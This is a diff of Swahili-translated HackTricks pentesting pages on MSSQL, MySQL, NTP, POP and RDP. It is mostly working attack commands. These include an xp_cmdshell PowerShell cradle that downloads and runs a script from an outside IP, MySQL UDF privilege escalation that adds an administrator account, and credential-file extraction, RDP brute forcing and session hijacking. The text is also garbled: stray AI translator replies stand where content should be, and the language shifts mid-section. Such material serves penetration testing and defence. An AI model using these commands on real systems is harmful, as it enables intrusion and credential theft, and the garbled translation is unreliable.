Kwa kawaida, `MSSQL` inaruhusu kusoma faili **katika faili yoyote kwenye mfumo wa uendeshaji ambao akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
@ -376,11 +376,11 @@ Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hat
|
||||
|
||||
### RCE na `autoadmin_task_agents`
|
||||
|
||||
Kulingana[ **na chapisho hili**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama:
|
||||
Kulingana na [**chapisho hili**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama:
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
I'm sorry, but it seems that you haven't provided any text to translate. Please provide the content you would like me to translate to Swahili.
|
||||
Na:
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
@ -438,7 +438,7 @@ Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [extended s
|
||||
|
||||
### Kutoka db_owner hadi sysadmin
|
||||
|
||||
Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi vibaya kwa **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**).
|
||||
Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi vibaya ili **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
@ -482,7 +482,7 @@ Au **PS** script:
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Ujanja wa watumiaji wengine
|
||||
### Ujumuishaji wa watumiaji wengine
|
||||
|
||||
SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inawaruhusu watumiaji wanaotekeleza kuchukua ruhusa za mtumiaji mwingine** au kuingia hadi muktadha urejelewe au kikao kimalizike.
|
||||
```sql
|
||||
@ -533,7 +533,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
## Kutolewa kwa nywila kutoka kwa SQL Server Linked Servers
|
||||
|
||||
Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa ajili ya Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, unapaswa kuwa na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server.
|
||||
|
||||
@ -543,7 +543,7 @@ Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni ya
|
||||
2. Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
|
||||
3. Wezesha muunganisho wa usimamizi wa mbali.
|
||||
|
||||
Ili kujiandaa kwa usanidi huu, [hii hazina](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila.
|
||||
Ili kujiandaa kwa usanidi huu, [hii hazina ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)ina skripti zinazohitajika. Mbali na kuwa na skripti za powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila.
|
||||
|
||||
Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Nywila za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
@ -551,7 +551,7 @@ Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Ny
|
||||
|
||||
## Kuinua Haki za Mitaa
|
||||
|
||||
Mtumiaji anayekimbia MSSQL server atakuwa amewezesha token ya haki **SeImpersonatePrivilege.**\
|
||||
Mtumiaji anayekimbia MSSQL server atakuwa amewezesha tokeni ya haki **SeImpersonatePrivilege.**\
|
||||
Huenda ukawa na uwezo wa **kuinua hadi kwa Administrator** ukifuatia moja ya hizi kurasa 2:
|
||||
|
||||
{{#ref}}
|
||||
@ -578,7 +578,7 @@ Huenda ukawa na uwezo wa **kuinua hadi kwa Administrator** ukifuatia moja ya hiz
|
||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
## Amri za HackTricks za Kiotomatiki
|
||||
## HackTricks Amri za Otomatiki
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
@ -620,7 +620,7 @@ go
|
||||
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
|
||||
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap for SQL
|
||||
|
@ -10,9 +10,9 @@
|
||||
```
|
||||
3306/tcp open mysql
|
||||
```
|
||||
## **Unganisha**
|
||||
## **Connect**
|
||||
|
||||
### **Mitaa**
|
||||
### **Local**
|
||||
```bash
|
||||
mysql -u root # Connect to root without password
|
||||
mysql -u root -p # A password will be asked (check someone)
|
||||
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
## External Enumeration
|
||||
|
||||
Baadhi ya hatua za kuhesabu zinahitaji akreditivu halali
|
||||
Baadhi ya hatua za kuhesabu zinahitaji akreditif halali
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
@ -78,7 +78,7 @@ quit;
|
||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
### Uainishaji wa Ruhusa za MySQL
|
||||
### MySQL Permissions Enumeration
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
Unaweza kuona katika hati maana ya kila ruhusa: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL File RCE
|
||||
|
||||
@ -109,9 +109,9 @@ Unaweza kuona katika hati maana ya kila ruhusa: [https://dev.mysql.com/doc/refma
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
## MySQL kusoma faili kwa hiari na mteja
|
||||
## MySQL kusoma faili bila mpangilio na mteja
|
||||
|
||||
Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** **maudhui ya faili** server ya MySQL au MariaDB inamwomba **mteja aisome** na kutuma maudhui. **Kisha, ikiwa unaweza kubadilisha mteja wa mysql kuungana na server yako ya MySQL, unaweza kusoma faili za hiari.**\
|
||||
Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** **maudhui ya faili** server ya MySQL au MariaDB inamwomba **mteja aisome** na kutuma maudhui. **Kisha, ikiwa unaweza kubadilisha mteja wa mysql kuungana na server yako ya MySQL, unaweza kusoma faili bila mpangilio.**\
|
||||
Tafadhali zingatia kwamba hii ni tabia inayotumika:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -123,9 +123,9 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**PoC ya Awali:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**Katika karatasi hii unaweza kuona maelezo kamili ya shambulio na hata jinsi ya kulipanua hadi RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Hapa unaweza kupata muhtasari wa shambulio:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
**Hapa unaweza kupata muonekano wa shambulio:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
@ -133,25 +133,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
## POST
|
||||
|
||||
### Mtumiaji wa Mysql
|
||||
### Mysql User
|
||||
|
||||
Itakuwa ya kuvutia sana ikiwa mysql inafanya kazi kama **root**:
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
#### Mipangilio Hatari ya mysqld.cnf
|
||||
#### Dangerous Settings of mysqld.cnf
|
||||
|
||||
Katika usanidi wa huduma za MySQL, mipangilio mbalimbali inatumika kufafanua uendeshaji wake na hatua za usalama:
|
||||
In the configuration of MySQL services, various settings are employed to define its operation and security measures:
|
||||
|
||||
- Mipangilio ya **`user`** inatumika kutaja mtumiaji ambaye huduma ya MySQL itatekelezwa chini yake.
|
||||
- **`password`** inatumika kuanzisha nenosiri linalohusiana na mtumiaji wa MySQL.
|
||||
- **`admin_address`** inaeleza anwani ya IP inayosikiliza kwa muunganisho wa TCP/IP kwenye kiolesura cha mtandao wa usimamizi.
|
||||
- Kigezo cha **`debug`** kinadhihirisha usanidi wa sasa wa urekebishaji, ikiwa ni pamoja na taarifa nyeti ndani ya kumbukumbu.
|
||||
- **`sql_warnings`** inasimamia ikiwa nyaraka za taarifa zinaundwa kwa taarifa za INSERT za safu moja wakati onyo linapotokea, zikiwa na data nyeti ndani ya kumbukumbu.
|
||||
- Pamoja na **`secure_file_priv`**, wigo wa shughuli za kuagiza na kuuza data unakabiliwa ili kuimarisha usalama.
|
||||
- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed.
|
||||
- **`password`** is applied for establishing the password associated with the MySQL user.
|
||||
- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface.
|
||||
- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs.
|
||||
- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
|
||||
- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security.
|
||||
|
||||
### Kuinua Mamlaka
|
||||
### Privilege escalation
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
@ -171,11 +171,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### Privilege Escalation via library
|
||||
|
||||
Ikiwa **mysql server inafanya kazi kama root** (au mtumiaji mwingine mwenye mamlaka zaidi) unaweza kuifanya itekeleze amri. Kwa hiyo, unahitaji kutumia **user defined functions**. Na ili kuunda user defined unahitaji **library** kwa ajili ya OS inayofanya kazi mysql.
|
||||
If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.
|
||||
|
||||
Library mbaya ya kutumia inaweza kupatikana ndani ya sqlmap na ndani ya metasploit kwa kufanya **`locate "*lib_mysqludf_sys*"`**. Faili za **`.so`** ni **linux** libraries na **`.dll`** ni za **Windows**, chagua ile unayohitaji.
|
||||
The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.
|
||||
|
||||
Ikiwa **huna** hizo libraries, unaweza ama **kutafuta** au kupakua hii [**linux C code**](https://www.exploit-db.com/exploits/1518) na **kuikamilisha ndani ya mashine ya linux iliyo hatarini**:
|
||||
If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
@ -214,9 +214,9 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### Kutolewa kwa hati za MySQL kutoka kwa faili
|
||||
### Extracting MySQL credentials from files
|
||||
|
||||
Ndani ya _/etc/mysql/debian.cnf_ unaweza kupata **nenosiri la maandiko** la mtumiaji **debian-sys-maint**
|
||||
Inside _/etc/mysql/debian.cnf_ you can find the **nywasi wa maandiko** of the user **debian-sys-maint**
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
@ -228,15 +228,15 @@ Unaweza kuzitoa kwa kufanya:
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
### Kuwezesha uandishi wa kumbukumbu
|
||||
### Kuanzisha uandishi wa kumbukumbu
|
||||
|
||||
Unaweza kuwezesha uandishi wa kumbukumbu za mysql queries ndani ya `/etc/mysql/my.cnf` kwa kuondoa alama kwenye mistari ifuatayo:
|
||||
Unaweza kuanzisha uandishi wa kumbukumbu wa mysql queries ndani ya `/etc/mysql/my.cnf` kwa kuondoa alama kwenye mistari ifuatayo:
|
||||
|
||||
.png>)
|
||||
|
||||
### Faili za Manufaa
|
||||
|
||||
Faili za Usanidi
|
||||
Faili za Mipangilio
|
||||
|
||||
- windows \*
|
||||
- config.ini
|
||||
@ -578,7 +578,7 @@ x$waits_global_by_latency
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## HackTricks Amri za Otomatiki
|
||||
## Amri za Kiotomatiki za HackTricks
|
||||
```
|
||||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||||
Port_Number: 3306 #Comma separated if there is more than one.
|
||||
@ -590,7 +590,7 @@ Description: Notes for MySql
|
||||
Note: |
|
||||
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-mysql
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
@ -609,4 +609,6 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Network Time Protocol (NTP)** inahakikisha kwamba kompyuta na vifaa vya mtandao katika mitandao yenye ucheleweshaji tofauti zinaweza kuunganisha saa zao kwa usahihi. Ni muhimu kwa kudumisha usahihi wa wakati katika shughuli za IT, usalama, na uandishi wa kumbukumbu. Usahihi wa NTP ni muhimu, lakini pia unaleta hatari za usalama ikiwa haujasimamiwa vizuri.
|
||||
**Network Time Protocol (NTP)** inahakikisha kwamba kompyuta na vifaa vya mtandao katika mitandao yenye latensi tofauti zinaweza kusawazisha saa zao kwa usahihi. Ni muhimu kwa kudumisha usahihi wa wakati katika operesheni za IT, usalama, na uandishi wa kumbukumbu. Usahihi wa NTP ni muhimu, lakini pia unaleta hatari za usalama ikiwa haujasimamiwa vizuri.
|
||||
|
||||
### Summary & Security Tips:
|
||||
|
||||
- **Purpose**: Inasawazisha saa za vifaa kupitia mitandao.
|
||||
- **Importance**: Muhimu kwa usalama, uandishi wa kumbukumbu, na shughuli.
|
||||
- **Importance**: Muhimu kwa usalama, uandishi wa kumbukumbu, na operesheni.
|
||||
- **Security Measures**:
|
||||
- Tumia vyanzo vya NTP vilivyoaminika na uthibitisho.
|
||||
- Punguza upatikanaji wa mtandao wa seva za NTP.
|
||||
- Punguza ufikiaji wa mtandao wa seva za NTP.
|
||||
- Fuatilia usawazishaji kwa dalili za kuingilia kati.
|
||||
|
||||
**Default port:** 123/udp
|
||||
@ -20,7 +20,7 @@
|
||||
PORT STATE SERVICE REASON
|
||||
123/udp open ntp udp-response
|
||||
```
|
||||
## Uhesabu
|
||||
## Uainishaji
|
||||
```bash
|
||||
ntpq -c readlist <IP_ADDRESS>
|
||||
ntpq -c readvar <IP_ADDRESS>
|
||||
@ -34,17 +34,17 @@ ntpdc -c sysinfo <IP_ADDRESS>
|
||||
```bash
|
||||
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
|
||||
```
|
||||
## Chunguza faili za usanidi
|
||||
## Examine configuration files
|
||||
|
||||
- ntp.conf
|
||||
|
||||
## Shambulio la Kuongeza Nguvu la NTP
|
||||
## NTP Amplification Attack
|
||||
|
||||
[**Jinsi Shambulio la NTP DDoS Linavyofanya Kazi**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
**Protokali ya NTP**, inayotumia UDP, inaruhusu kufanya kazi bila haja ya taratibu za mkono, tofauti na TCP. Sifa hii inatumika katika **shambulio la kuimarisha la NTP DDoS**. Hapa, washambuliaji wanaunda pakiti zenye IP ya chanzo bandia, na kufanya ionekane kama maombi ya shambulio yanatoka kwa mwathirika. Pakiti hizi, mwanzoni ndogo, zinawasukuma seva ya NTP kujibu kwa kiasi kikubwa cha data, kuimarisha shambulio.
|
||||
Protokali ya **NTP**, inayotumia UDP, inaruhusu kufanya kazi bila haja ya taratibu za handshake, tofauti na TCP. Sifa hii inatumika katika **NTP DDoS amplification attacks**. Hapa, washambuliaji wanaunda pakiti zenye IP ya chanzo bandia, ikionyesha kana kwamba maombi ya shambulio yanatoka kwa mwathirika. Pakiti hizi, mwanzoni ndogo, zinawasukuma seva ya NTP kujibu kwa kiasi kikubwa cha data, ikiongeza shambulio.
|
||||
|
||||
Amri ya _**MONLIST**_, licha ya matumizi yake nadra, inaweza kuripoti wateja 600 wa mwisho waliounganishwa na huduma ya NTP. Ingawa amri yenyewe ni rahisi, matumizi yake mabaya katika mashambulizi kama haya yanaonyesha mapungufu makubwa ya usalama.
|
||||
Amri ya _**MONLIST**_, licha ya matumizi yake kuwa nadra, inaweza kuripoti wateja 600 wa mwisho waliounganishwa na huduma ya NTP. Ingawa amri yenyewe ni rahisi, matumizi yake mabaya katika mashambulizi kama haya yanaonyesha udhaifu muhimu wa usalama.
|
||||
```bash
|
||||
ntpdc -n -c monlist <IP>
|
||||
```
|
||||
@ -52,7 +52,7 @@ ntpdc -n -c monlist <IP>
|
||||
|
||||
- `ntp`
|
||||
|
||||
## HackTricks Amri za Otomatiki
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: NTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 123 #Comma separated if there is more than one.
|
||||
@ -64,7 +64,7 @@ Description: Notes for NTP
|
||||
Note: |
|
||||
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-ntp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
|
||||
TOP msg n Show first n lines of message number msg
|
||||
CAPA Get capabilities
|
||||
```
|
||||
Mfano:
|
||||
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
@ -71,11 +71,11 @@ Here is your login for remote desktop ... try not to forget it this time!
|
||||
username: billydean
|
||||
password: PA$$W0RD!Z
|
||||
```
|
||||
## Kurekodi Nywila
|
||||
## Logging Passwords
|
||||
|
||||
Seva za POP zikiwa na mipangilio **`auth_debug`** zimeongeza rekodi zinazozalishwa. Hata hivyo, ikiwa **`auth_debug_passwords`** au **`auth_verbose_passwords`** zimewekwa kama **`true`**, nywila zinaweza pia kurekodiwa kwa maandiko wazi katika rekodi hizo.
|
||||
Seva za POP zikiwa na mipangilio ya **`auth_debug`** zimeongeza kumbukumbu zinazozalishwa. Hata hivyo, ikiwa **`auth_debug_passwords`** au **`auth_verbose_passwords`** zimewekwa kama **`true`**, nywila zinaweza pia kurekodiwa kwa maandiko wazi katika kumbukumbu hizo.
|
||||
|
||||
## Amri za Kiotomatiki za HackTricks
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 110 #Comma separated if there is more than one.
|
||||
@ -87,7 +87,7 @@ Description: Notes for POP
|
||||
Note: |
|
||||
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
|
||||
|
||||
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -5,20 +5,20 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja ya **RDP** inatumika na mtumiaji, na kwa wakati mmoja, kompyuta ya mbali inahitaji kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kimsingi ukileta kiolesura chake kwenye kifaa cha mtumiaji.
|
||||
Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja wa **RDP** inatumika na mtumiaji, na kwa wakati huo, kompyuta ya mbali inahitaji kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kwa msingi unaleta kiolesura chake kwenye kifaa cha mtumiaji.
|
||||
|
||||
**Default port:** 3389
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3389/tcp open ms-wbt-server
|
||||
```
|
||||
## Uhesabu
|
||||
## Enumeration
|
||||
|
||||
### Otomatiki
|
||||
### Automatic
|
||||
```bash
|
||||
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
||||
```
|
||||
Inakagua usimbuaji unaopatikana na udhaifu wa DoS (bila kusababisha DoS kwa huduma) na kupata taarifa za NTLM Windows (matoleo).
|
||||
Inakagua usimbuaji uliopo na udhaifu wa DoS (bila kusababisha DoS kwa huduma) na kupata taarifa za NTLM za Windows (matoleo).
|
||||
|
||||
### [Brute force](../generic-hacking/brute-force.md#rdp)
|
||||
|
||||
@ -33,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
|
||||
# hydra
|
||||
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
|
||||
```
|
||||
### Unganisha na akidi/hashe zinazojulikana
|
||||
### Unganisha na akisi/nywila zinazojulikana
|
||||
```bash
|
||||
rdesktop -u <username> <IP>
|
||||
rdesktop -d <domain> -u <username> -p <password> <IP>
|
||||
@ -42,7 +42,7 @@ xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
|
||||
```
|
||||
### Angalia akidi zinazojulikana dhidi ya huduma za RDP
|
||||
|
||||
rdp_check.py kutoka impacket inakuwezesha kuangalia ikiwa akidi fulani ni halali kwa huduma ya RDP:
|
||||
rdp_check.py kutoka impacket inakuwezesha kuangalia kama akidi fulani ni halali kwa huduma ya RDP:
|
||||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
@ -50,7 +50,7 @@ rdp_check <domain>/<name>:<password>@<IP>
|
||||
|
||||
### Kuiba kikao
|
||||
|
||||
Kwa **idhini ya SYSTEM** unaweza kufikia **kikao chochote cha RDP kilichofunguliwa na mtumiaji yeyote** bila kuhitaji kujua nenosiri la mmiliki.
|
||||
Kwa **idhini za SYSTEM** unaweza kufikia **kikao chochote cha RDP kilichofunguliwa na mtumiaji yeyote** bila haja ya kujua nenosiri la mmiliki.
|
||||
|
||||
**Pata vikao vilivyofunguliwa:**
|
||||
```
|
||||
@ -64,18 +64,18 @@ Sasa utakuwa ndani ya kikao cha RDP kilichochaguliwa na utajifanya kuwa mtumiaji
|
||||
|
||||
**Muhimu**: Unapofikia vikao vya RDP vilivyo hai, utamfukuza mtumiaji ambaye alikuwa akivitumia.
|
||||
|
||||
Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni ya haraka zaidi na inakuwezesha kuingiliana na madawati ya virtual ya mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vilivyofunguliwa kwenye mashine nyingine...)
|
||||
